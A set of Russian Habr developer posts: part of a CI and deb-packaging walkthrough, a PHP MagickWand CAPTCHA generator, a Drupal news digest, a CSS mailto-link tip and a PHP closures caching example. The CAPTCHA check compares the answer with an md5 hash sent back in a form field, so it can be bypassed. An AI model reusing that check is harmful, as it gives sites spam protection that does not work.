Это позволит выявить случайные недочёты в коде многомодульного проекта и прогнать юнит тесты.
### Шаг 3: Запуск smoke тестирования.
Этот шаг выполняется в рамках параметризованной сборки. Smoke тесты проходят в рамках slave машины, на которой запущена задача по сборке. Этот подход позволяет выполнять сборку и начальное тестирование различного ПО (например, сервера приложений и веб-клиента) параллельно, что уменьшает время ожидания новой версии отделом тестирования. В то же время разработчики раньше получают информацию о возникших проблемах.
Вполне очевидно, что в рамках этих тестов проверяется, что после сборки кода (нового или исправленного) устанавливаемое приложение стартует и выполняет основные функции. В нашей компании, в зависимости от проекта, они написаны на разных фреймворках (например, cucumber).
Тут нам и понадобятся параметры сборки, которые мы передали, т.к. для разных продуктов, как и в случае с приемочным тестированием, сценарии smoke тестирования могут очень сильно разниться.
### Шаг 4: Запуск приемочного тестирования.
На этом этапе выполняется приемочное тестирование продукта с различными сценариями. Расписывать это не вижу смысла, т.к. на эту тему есть статьи на хабре и соответствующих ресурсах.
### Шаг 5: Сборка deb пакета.
Поскольку наша система рассчитана на дистрибутив Debian, то самым очевидным и удобным средством будет родной для него формат распространения бинарных пакетов deb. Про структуру пакета на хабре имеются статьи, с которыми можно ознакомиться. Я же расскажу про некоторые ухищрения, которые применяются у нас.
Перво-наперво нужно получить ревизию проекта для версионности и возможности обновлять пакет прямо из репозитория через apt-get update и apt-get install.
Для этого мы используем стандартную функцию гита «git describe», при желании можно получить номер сборки в соответствии тегу, добавив параметр --tags. Обычно под новую минорную версию мы заводим свой тег.
Распарсив это по регулярному выражению, получаем нечто вроде «1075-g7fb7c67», что и будет номером нашей ревизии. Вкупе с названием и версией продукта мы получаем полное название нашего пакета, в нашем случае получается нечто вроде «rtls-webclient-mines-1.0-dev\_1.0-dev.1075-g7fb7c67\_all.deb».
Собственно, для самой сборки у нас используется bash скрипт. Суть в том, что он создает сборочную директорию и кладёт туда шаблоны для создания пакета. Дальше, в зависимости от наименования продукта, кладёт необходимые модули и обрабатывает шаблон файла config в папке DEBIAN, через команду sed прописывает свежую информацию о пакете, имея сведения полученные выше (на примере с ревизией это выглядит так: «sed -e «s/%REVISION%/$REV/» -i $PACKAGE/DEBIAN/control»).
После подготовки сборочной директории при помощи fakeroot создаётся сам deb пакет командой «dpkg-deb --build $TMP\_DIR ${NAME}\_${VERS}.${REV}\_all.deb», где TMP\_DIR — сборочная директория, NAME — имя продукта. VERS – версия, а REV – вытащенная ревизия. Дальше при помощи wput полученный пакет кладется в репозиторий, а пакет для отправки – в отдел тестирования.
### Шаг 6: Работа с баг трекером.
В качестве баг трекера у нас используется redmine, и для него написан соответствующий скрипт, который определяет наличие номера тикета в коммите, и при наличии такового, тикет комментируется служебным пользователем в названии пакета, в котором применено исправление найденной ошибки. Это позволяет отделу тестирования практически сразу проверять исправления.
### Шаг 7 (опциональный):
Каждую ночь у нас запускаются задачи полнофункционального тестирования системы и при помощи соответствующего чекбокса в настройках триггеров сборки, которые дают нам понимание об общем статусе проекта.
Пример удачной сборки
Пример завалившейся сборки из-за не прошедшего теста. Команда разработчиков была уведомлена и последний коммитивший исправил проблему:
 | https://habr.com/ru/post/307398/ | null | ru | null |
# Капча с помошью MagickWand
Всем привет.
Как я уже [рассказывал](http://andrew72ru.habrahabr.ru/blog/63644/), по стечению обстоятельств мне пришлось познакомится с интерфейсом к ImageMagick — [MagickWand for PHP](http://magickwand.org). Как оказалось, библиотека довольно мощная и интересная.
Ну и в качестве эксперимента, а так же на будущее, мной была сделана функция генерации капчи с использованием этой библиотеки. Преимущество ее в том, что нам не приходится писать картинку на диск а потому удалять ее. Все происходит, так сказать, «на лету».
Вот, что у меня получилось
Сначала форма и проверка:
````
php <br/
if ($_POST['submitbutton'] === 'ok') { // проверяем, не была ли нажата кнопка. Если была, то проверяем пользовательский ввод
if (md5($_POST['check']) != $_POST['str']) { // $_POST['check'] - это то, что юзер ввел. $_POST['str'] - хэш сгенерированной секретной строчки
echo 'FALSE'; // неправильно
}
else {
echo 'TRUE'; // правильно
}
}
function get_random_string($leight) // Функция генерирует строку символов
{
$ret="";
for ($i=0; $i<$leight; $i++)
{
if ( mt_rand(1,2) == 1 )
$char_code=mt_rand(48,57);
else
$char_code=mt_rand(97,122);
$ret.=chr($char_code);
}
return $ret;
}
session_start(); // сессию запустить **необходимо**, потому что в сессионных данных мы передаем значение секретной строчки генератору картинки
$rand_string = get_random_string(5); // генерируем строчку в 5 символов
$_SESSION['capt'] = $rand_string; // присваиваем переменной эту строчку
$capt = ''; // это вызов скрипта, который генерит картинку
```
$str = md5($rand_string); // хэш строчки - для передачи через форму
echo $capt; // Показали картинку
?>
```
Проверить
````
Теперь непосредственно генератор картинки
`php <br/
session_start(); //стартовали сессию
$secret = $_SESSION['capt']; //забрали переменную, в ней - строчка на капчу
$color = '#d67f25'; // цвет выбран от дуба
$background = NewMagickWand(); // новый Magicwand объект - будущая картинка
MagickNewImage($background,200,75,$color); // задали будущей картинке размеры и цвет
MagickSetImageFormat($background, 'png'); // формат - png
MagickAddNoiseImage($background,MW_ImpulseNoise); // добавили шума
$drawing=NewDrawingWand(); // новый объект - будущая надпись
DrawSetFont($drawing,"ACADEROM.TTF"); // взяли шрифт
DrawSetFontSize($drawing,48); // задали размер
DrawSetGravity($drawing,MW_SouthWestGravity); // гравитация. Координаты будут считаться от нижнего левого угла
for ($i = 1; $i <= 5; $i++) { цикл от 1 до количества букв в сгенерированной строке. В данном случае - 5
$r_st = substr($secret,($i-1),1); // берем символ
$angle_mod = rand(0,45); // случайный угол
$angle_polar = rand(0,1); // случайное число, определяет, будет угол положительным или отрицательным
if ($angle_polar == 1) { // в этом случае угол положительный
$angle = $angle_mod;
}
else { // а в этом - отрицательный
$angle = '-'.$angle_mod;
}
$letter_color_1 = dechex(rand(0,255)); // генерим число для цвета. Три раза
$letter_color_2 = dechex(rand(0,255));
$letter_color_3 = dechex(rand(0,255));
$letter_color = '#'.$letter_color_1.$letter_color_2.$letter_color_3; // таким цветом у нас будет буква
$fontcolor_light=NewPixelWand(); // объект MagickWand для цвета шрифта.
PixelSetColor($fontcolor_light,"#000000"); // сформировали цвет для нижнего слоя букв - черный
DrawSetFillColor($drawing,$fontcolor_light); // задали объекту цвет
MagickAnnotateImage($background,$drawing,($i*30),0,$angle,$r_st); // написали букву черным цветом
$fontcolor_light=NewPixelWand(); // то же, только для верхнего слоя
PixelSetColor($fontcolor_light,"$letter_color"); // теперь берем наш случайный цвет
DrawSetFillColor($drawing,$fontcolor_light); // задаем его объекту
MagickAnnotateImage($background,$drawing,($i*30),1,$angle,$r_st); // и пишем буковку этим цветом
}
header('Content-type: image/jpeg');
MagickEchoImageBlob($background); // нарисовали картинку
?>`
Таким образом, во время выполнения первого скрипта мы генерируем случайную строчку символов, которую в глобальном массиве $\_SESSION отдаем генератору картинки, который уже разбирает эту строку и рисует буквы/цифры со случайным углом наклона и случайного цвета.
**А теперь у меня вопрос к специалистам!**
Насколько устойчивой является данная капча? Можно ли ее как-то легко обойти? Я-то думаю, что нельзя, но, как обычно, сомневаюсь… | https://habr.com/ru/post/66403/ | null | ru | null |
# Дайджест интересных материалов из мира Drupal #14
Мы собираем полезные статьи и свежие новости из мира Drupal и делимся с вами раз в месяц. Встречайте октябрьский выпуск!
### По-русски
1. Никита Малышев активно делится своим опытом работы с Drupal 8. Самая свежая заметка на данный момент: [Drupal 8 Block Plugin API](http://niklan.net/blog/75). Стоит обратить внимание, ведь уже вышел релиз Drupal 8 rc2.
2. Неплохо поживает и форк друпала Backdrop. Егор Марценюк поделился [портом темы Bootstrap на Backdrop CMS.](http://www.drupal.ru/node/125792)
3. Для тех, кто ещё не печатает команды драша на автомате, будет полезна заметка [Автодополнение команд Drush](http://dru.io/post/4021).
4. Возвращаясь непосредственно к друпалу, вечно актуальная [тема создания сущностей из кода](http://nightdevel.ru/programmnoe-sozdanie-nod-slovarey-i-terminov-taksonomii) в блоге nightdevel.
5. Там же вышла заметка о том, [как реализовать выбор цвета из палитры](http://nightdevel.ru/cvetovaya-palitra-korobki-drupal) в своей форме.
6. Кажется, синее сердце скоро снова [зажжётся на территории России](http://www.drupical.com/): сибирское друпал-сообщество запланировало DrupalCamp Siberia в Новосибирске. Пока детали уточняются, вы можете отправить [предварительную заявку](https://docs.google.com/forms/d/1sgEnnU_2VG1HFHt9gFgV7NDUS6QF-Y6fkjGEJbaVE8s/viewform?c=0&w=1) со своими пожеланиями.
### Drupal Lite
1. В лучшей книге про Drupal 7 [уже написано 6 глав](http://www.drupaldeconstructed.com/). Очень рекомендуем!
2. Ещё один проект на GitBook: набор полезных рекомендаций для разработчиков [Drupal Organised](http://www.drupalorganised.com/).
3. [Важное видео](https://www.ostraining.com/blog/drupal/install-modules/) для тех, кто только начинает работать с друпалом и потерялся в тысячах его модулей. Подробная текстовая версия на русском, хоть и немного устарела, но тоже подойдёт: [1](http://drupalspb.org/articles/kalabro/kak-skachat-modul-s-drupalorg-i-ne-oblazhatsya-chast-i), [2](http://drupalspb.org/articles/kalabro/kak-skachat-modul-s-drupalorg-i-ne-oblazhatsya-chast-ii), [3](http://drupalspb.org/articles/kalabro/kak-skachat-modul-s-drupalorg-i-ne-oblazhatsya-chast-iii).
### Всё для разработчика
1. **Обновления безопасности ядра: [Drupal 7.41](https://www.drupal.org/SA-CORE-2015-004).**
Касается всех, кто забыл выключить Overlay.
2. «9/25 ( Less Critical) AC:Basic/A:None/CI:None/II:None/E:Theoretical/TD:Default» — расшифровать, что здесь написано, поможет [статья Девида Снупека](http://www.mydropninja.com/blog/understanding-drupal-security-advisories-risk-calculator).
3. Все видео с [DrupalCon Barcelona 2015](https://www.youtube.com/playlist?list=PLEIrkEHc7qzTgUSoGgpkPlvoVBkirJgLC).
4. Заметка [SVG in Drupal](http://drupalmotion.com/article/svg-drupal-overview) по следам барселонской презентации.
5. Немного спорный, но зато реальный [пример интеграции с Ember](http://activelamp.com/blog/drupal/drupal-to-ember/), про который друпалеры пишут нечасто.
6. С Node.js ситуация получше. OpenLucius написали серию статей ([1](http://blog.openlucius.com/en/blog/headless-drupal-nodejs-part-13-drupal-8-restful), [2](http://blog.openlucius.com/en/blog/headless-drupal-nodejs-part-23-nodejs), [3](http://blog.openlucius.com/en/blog/headless-drupal-nodejs-part-33-express-js-and-drupal-api-integration), [4](http://blog.openlucius.com/en/blog/headless-drupal-simple-contact-form-nodejs)), а Drupallize.me записали [видео-курс](https://drupalize.me/blog/201509/release-day-integrate-nodejs-drupal) (платный).
7. [Processing expensive back-end operations](https://www.lullabot.com/articles/processing-expensive-backend-operations) — история проб и ошибок от луллабота Метью. Спойлер: Drush и очереди.
8. Этот же автор рассказывает про [миграцию комментариев из Drupal в Disqus](https://www.lullabot.com/articles/why-and-how-we-migrated-comments-to-disqus). Опять же, true story.
9. Кажется, про Drush можно говорить безконечно. В этот раз [учимся работать с пользователями](http://befused.com/drupal/drush-users).
10. Спустя год после [первой статьи](http://imagexmedia.com/blog/2014/11/speeding-your-mysql-dumprestores-mydumper) Юн Ким тоже решил написать про драш: [Using Mydumper with Drush](http://imagexmedia.com/blog/2015/10/using-mydumper-drush).
11. Как всегда, отличный материал для разработчиков на Sitepoint: [Building Custom cTools Plugins in Drupal 7](http://www.sitepoint.com/building-custom-ctools-plugins-in-drupal-7/). Эрл Майлз в комментарии под статьёй объясняет, как правильно писать название его модуля :)
12. От этого же автора, но уже в другом блоге: [Drupal 7 post insert hooks as a shutdown function](http://www.webomelette.com/drupal-7-post-insert-hooks-shutdown-function). В комментариях сразу же указали, что уже есть соответствующий модуль — [Hook Post Action](https://www.drupal.org/project/hook_post_action).
13. [Integrating multisite Drupal with Apache Solr](http://www.pixelite.co.nz/article/integrating-multisite-drupal-with-apache-solr/) — два подхода к конфигурации Apache Solr для мультисайтинга.
14. Contrib Kanban — удобный интерфейс для работы с Drupal.org Issue Queues. Есть [отдельная “доска”](https://contribkanban.com/board/contrib_tracker) по портированию модулей на восьмёрку.
15. Учимся работать с Docker. Появилась [третья](http://activelamp.com/blog/devops/local-docker-development-with-vagrant) статья из серии “[Hashing out a Docker Workflow](http://activelamp.com/blog/devops/hashing-out-docker-workflow/)”. В заметке “[Logging in a Docker Hosting World](https://www.previousnext.com.au/blog/logging-docker-hosting-world)” обучают логированию применительно к контейнерам.
16. Если у вас в проектных задачах появится интеграция с Active Directory Federation Services, то советуем ознакомиться с материалом “[ADFS and SimpleSAMLphp with Drupal](https://www.chapterthree.com/blog/adfs-and-simplesamlphp-drupal)”, чтобы не изобретать велосипед.
17. Коллекция подводных камней от Wunderkraut пополнилась [третьим выпуском](http://www.wunderkraut.com/blog/the-wunderkraut-gotcha-collection-volume-3/2015-10-21).
### Drupal 8
1. Встречайте, [Drupal 8 RC2](https://www.drupal.org/node/2598668).
2. С написанием вашего первого модуля под восьмёрку может помочь [свежая статья](http://befused.com/drupal/first-drupal8-module) в блоге BeFused, с портированием темы — [статья Zivtech](https://www.zivtech.com/blog/port-your-drupal-7-theme-drupal-8), а с новым административным интерфейсом блоков — заметка [Девида Лоумайера](http://www.lohmeyer.rocks/blog/2015/10/15/0068-drupal-8-site-building-gotcha-system-blocks). Мы физически не сможем перечислить всё, что публикуется на волне воодушевления после выхода релиз-кандидата. Если вы ещё не начинали изучать восьмёрку, то теперь действительно пора.
3. Просто и с картинками об [управлении конфигурациями](http://chromaticsites.com/blog/drupal-8-configuration-management-solving-configuration-conundrum).
4. Карен Стивенсон о роутинге в восьмёрке на языке семёрки: [What Happened to Hook\_Menu in Drupal 8?](https://www.lullabot.com/articles/what-happened-to-hook_menu-in-drupal-8) Не знаете, что такое роутинг? Тогда вам [сюда](http://www.mediacurrent.com/blog/intro-drupal-8-vocabulary), изучать словарь.
5. Перейдём к вопросам темизации: [о базовых темах ядра Classy и Stable](https://www.lullabot.com/articles/a-tale-of-two-base-themes-in-drupal-8-core) в блоге всё тех же луллаботов.
6. [The Drupal 8 Theming guide](http://d8.sqndr.com/) — набор полезной информации по темизации в формате GitBook.
7. [Отличное руководство](https://www.advomatic.com/blog/adding-responsive-images-to-your-drupal-8-site) по использованию Breakpoint и Responsive Image Styles для настройки адаптивных картинок.
8. [DrupalCon Barcelona 2015: Drupal 8 theming](https://www.youtube.com/watch?v=1m6WR7e7qwU&index=2&list=PLEIrkEHc7qzTgUSoGgpkPlvoVBkirJgLC). Самое популярное видео друпалкона (keynote не считается).
9. Второе по популярности видео посвящено новой системе кеширования: [Making Drupal fly — The fastest Drupal ever is here!](http://wimleers.com/talk/making-drupal-fly-fastest-drupal-ever-here)
10. “Drupal 8 is about 3 times slower than Drupal 7 and Drupal 6” — после того, как автор [данной статьи](http://fizk.net/blog/technology/benchmarking-drupal-80-rc1), некто [fizk](https://www.drupal.org/u/fizk), написал эти слова, его сайт резко перестал открываться. Вот и думай теперь, это праведный гнев друпликона, или это автор не умеет настраивать веб-сервер.
11. Небольшой модуль, уведомляющий об устаревшем кеше: [How can we know if a page in Drupal 8 has changed?](http://tim.millwoodonline.co.uk/post/130336209550/how-can-we-know-if-a-page-in-drupal-8-has-changed)
12. `$node->field_make_it_stop[LANGUAGE_NONE][0]['wtf_bbq']` — не забудем, не простим. Как теперь обстоят дела с Entity API, читайте в статье [Introducing Drupal 8's Entity Validation API](https://drupalwatchdog.com/volume-5/issue-2/introducing-drupal-8s-entity-validation-api).
### Бизнес и сообщество
1. Drupalize.me [едут](https://drupalize.me/blog/201510/drupalizeme-going-zendcon) на ZendCon популяризировать Drupal в PHP-мире. Пожелаем им успеха.
2. У Acquia дела пока идут хорошо: [заключили альянс с одной из крупнейших маркетинговых корпораций WPP](http://buytaert.net/wpp-acquia-alliance-a-milestone-for-drupal), [получили 55 миллионов финансирования от инвесторов](http://buytaert.net/acquia-raises-55-million-series-g), [запустили хаб для дистрибьюции содержимого](https://www.acquia.com/blog/announcing-acquia-content-hub/21/10/2015/3289241).
3. Palantir [сравнивает](https://www.palantir.net/blog/building-better-drupal) эволюцию подходов и архитектуры в строительстве с эволюцией Drupal и находит много общего.
4. Разбираемся, что [происходит в медиа-бизнесе, и почему многие компании отказываются от дорогостоящих проприетарных решений в пользу разнообразия технологий](https://www.acquia.com/blog/evolution-media-company-cms-platforms-third-party-integrations/20/10/2015/3289121).
5. Адаптивное содержимое становится всё более и более заметным трендом в мире требований к CMS. Радует, что Drupal здесь [достаточно хорошо смотрится](https://dev.acquia.com/blog/creating-adaptable-content-with-drupal-8/20/10/2015/6996), по мнению авторов заметки.
### Модули
1. **Corresponding Entity References**
<https://www.drupal.org/project/cer>
Модуль для синхронизации значений полей-cсылок на другие сущности. Бывает полезно, если вы, например, хотите, чтобы при установки новой ссылки в сущности А на Б, автоматически проставлялась ссылка сущности Б на А. [Видео](http://www.wdtutorials.com/corresponding-entity-references-module-drupal-tutorial/7).
2. **Advanced Crop**
<https://www.drupal.org/project/advanced_crop>
Выбираем корректную область для обрезания картинки при загрузке.
3. **Video Background**
<https://www.drupal.org/project/video_background>
Модуль позволяет использовать видео в форматах mp4, webm, ogg в качестве фона вашего сайта.
4. **SimpleSAMLphp User Precreation**
<https://www.drupal.org/project/simplesamlphp_precreation>
Заранее назначаем роли пользователям, которых пока нет на сайте (в таблице ‘users’), чтобы в дальнейшем при аутентификации новых пользователей через SAML им автоматически выставлялись соответствующие права.
5. **Reference Table Formatter**
<https://www.drupal.org/project/reference_table_formatter>
Сводим значения полей в таблицу. Модуль позволяет выводить и прятать шапку, отображать значения полей, используя произвольный view mode.
На этом на сегодня всё. Ну что, уже начали работать с Drupal 8? Как впечатления? Оставляйте свои комментарии и вопросы под статьёй. Будем рады услышать ваше мнение.
Над выпуском работали [Олег Кот](mailto:kot.oleg@gmail.com) и [Катя Маршалкина](mailto:marshalkina@gmail.com). Подписывайтесь на [рассылку](http://eepurl.com/bhCjRb), слушайте наши [подкасты](http://podcasts.dru.io/), присылайте интересные статьи и изучайте новое вместе с нами! | https://habr.com/ru/post/269361/ | null | ru | null |
# Усовершенствуем e-mail ссылки
**Что такое CSS Attribute Selector?**
CCS дает нам возможность стилизовать элементы базирующиеся на атрибутах ссылки, а не на типе самого элемента. Например, вы уже знаете как украсить элемент заголовка h1:
`h1 { color: blue; }`
Можно немного четче определить атрибут заголовка:
`h1[title] { color: blue; }`
Можем зайти еще дальше:
`h1[title="Go Home"] { color: blue; } /* Значение "Go Home" в атрибуте заголовка */
h1[title~="Go Home"] { color: red; } /* Значение "Go Home" где-то в атрибуте заголовка */
h1[title^="Go Home"] {color: green; } /* Значение атрибута заголовка начинается с "Go Home" */`
**Что уникального в «мыльных» ссылках?**
А теперь возьмем опыт из предыдущих примеров и соорудим вот это:
`a[href^="mailto"]:hover:after { content: attr(title); }`
Атрибут заголовка мы поставили в hover. Это будет работать, однако может получится что текст появится сразу-же после ссылки. Поэтому правим код на это:
`a[href^="mailto"]:hover:after { content: " > " attr(title); }`
**Что получилось:**
[[пример](http://sinsim.info/?p=16)]
**[\*]** будет к месту уточнить что, наш любимый браузер, — IE некорректно отображает код, впрочем, мы привыкли. | https://habr.com/ru/post/19560/ | null | ru | null |
# Наглядный пример использования замыканий в PHP
Начиная с версии 5.3, PHP позволяет создавать замыкания. К сожалению, пример их использования в официальной документации <http://www.php.net/manual/en/functions.anonymous.php#example-163> (example 3) обладает редкой изощрённостью и надуманностью. Надеюсь, пример под катом поможет увидеть в замыканиях другое применение, кроме как с функциями типа array\_map().
Самый распространённый метод повышения производительности приложения – это кэширование, и обычно схема его применения выглядит так:
```
php
Class Cache
{
static function set( $key, $value) {
// код записи в кеш
}
static function get( $key ) {
// код чтения из кеша
}
}
Class PostModel
{
static function getList($dateCreated) {
// код получения постов с указанной даты
}
}
$dateCreated = date('Y-m-d');
$posts = Cache::get("posts_" . $dateCreated);
if( !$posts ) {
$posts = PostModel::getList($dateCreated);
Cache::set( "posts_" . $dateCreated , $posts);
}
?
```
Пытаемся получить данные из кеша, если данные не найдены — делаем запрос к БД и пишем результат в кеш. Логика каждый раз **почти** одинаковая и хотелось бы написать универсальную обёртку для таких случаев, но как передавать в неё не просто переменную, а кусок кода, который должен выполняться уже внутри обёртки, т.е. отложено?
И тут на помощь приходят замыкания, чтобы передать в функцию (или метод) кусок кода для отложенного выполнения его нужно обернуть анонимной функцией.
```
php
$dateCreated = date('Y-m-d');
$dbQueryCounter = 0;
$fallback = function() use($dateCreated, &$dbQueryCounter) {
$dbQueryCounter++; //счетчик импортирован в замыкание по ссылке
return PostModel::getList($dateCreated); // не забываем return
};
Cache::wrapper( "posts_" . $dateCreated , $fallback );
Class Cache
{
static function set( $key, $value) {
// код записи в кеш
}
static function get( $key ) {
// код чтения из кеша
}
static function wrapper( $key, Closure $fallback ) {
$data = self::get( $key );
if( !$data ) {
$data = $fallback(); // отложенное выполнение кода
self::set( $key, $data);
}
return $data;
}
}
?
```
На что в этом коде нужно обратить внимание:
1. Используя замыкания можно передавать в метод (функцию) или возвращать из него, фрагмент готового к исполнению кода, с локальными переменными из того окружения где этот код объявлен.
2. Если код, который мы передаем в метод для отложенного выполнения, должен возвращать данные — не забываем про return в замыкании.
3. Вместе с фрагментом кода, через замыкание, можно передать и все необходимые переменные из того контекста, где этот код используется, используя ключевое слово use — это принципиальное отличие объявления анонимной функции в PHP 5.3 от использования create\_function() в более ранних версиях.
4. Переменные импортируются в замыкание **по значению**, поэтому если какую-либо переменную нужно внутри замыкания изменять (например счетчик $dbQueryCounter), то её нужно импортировать по ссылке.
5. Анонимные функции в PHP5.3 являются экземплярами класса Closure — это обстоятельство можно использовать для контроля типа переданной в метод переменной. | https://habr.com/ru/post/145317/ | null | ru | null |